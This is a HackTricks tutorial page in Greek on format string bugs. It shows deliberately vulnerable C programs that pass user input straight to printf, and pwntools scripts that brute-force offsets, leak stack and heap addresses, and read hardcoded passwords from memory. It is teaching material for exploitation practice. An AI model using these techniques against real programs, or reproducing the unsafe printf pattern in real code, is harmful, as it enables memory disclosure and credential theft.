Format Strings - Arbitrary Read Example

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ανάγνωση Δυαδικών Αρχείων - Έναρξη

Κώδικας

c
#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Συγκεντρώστε το με:

python
clang -o fs-read fs-read.c -Wno-format-security -no-pie

Εκμετάλλευση

python
from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Ο offset είναι 11 επειδή η ρύθμιση αρκετών Α και η brute-forcing με έναν βρόχο offsets από 0 έως 50 βρήκε ότι στον offset 11 και με 5 επιπλέον χαρακτήρες (pipes | στην περίπτωσή μας), είναι δυνατόν να ελέγξουμε μια πλήρη διεύθυνση.
  • Χρησιμοποίησα %11$p με padding μέχρι ώστε η διεύθυνση να είναι όλη 0x4141414141414141
  • Το format string payload είναι ΠΡΙΝ τη διεύθυνση επειδή η printf σταματά να διαβάζει σε ένα null byte, οπότε αν στείλουμε τη διεύθυνση και μετά το format string, η printf δεν θα φτάσει ποτέ στο format string καθώς θα βρεθεί ένα null byte πριν
  • Η επιλεγμένη διεύθυνση είναι 0x00400000 επειδή είναι εκεί που ξεκινά το binary (χωρίς PIE)

Διαβάστε κωδικούς πρόσβασης

c
#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Συγκεντρώστε το με:

bash
clang -o fs-read fs-read.c -Wno-format-security

Ανάγνωση από τη στοίβα

Το stack_password θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά η κατάχρηση του printf για να δείξει το περιεχόμενο της στοίβας είναι αρκετή. Αυτό είναι ένα exploit για να BF τις πρώτες 100 θέσεις για να διαρρεύσουν οι κωδικοί πρόσβασης από τη στοίβα:

python
from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στην 10η θέση:

Ανάγνωση δεδομένων

Εκτελώντας την ίδια εκμετάλλευση αλλά με %p αντί για %s είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο %25$p. Επιπλέον, συγκρίνοντας τη διαρρεύσουσα διεύθυνση (0xaaaab7030894) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτή τη διαδικασία μπορούμε να αποκτήσουμε τη διαφορά διευθύνσεων:

Τώρα είναι η ώρα να βρούμε πώς να ελέγξουμε 1 διεύθυνση στη στοίβα για να την προσπελάσουμε από τη δεύτερη ευπάθεια μορφής.

python
from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Και είναι δυνατόν να δούμε ότι στο try 14 με την χρησιμοποιούμενη παράμετρο μπορούμε να ελέγξουμε μια διεύθυνση:

Exploit

python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks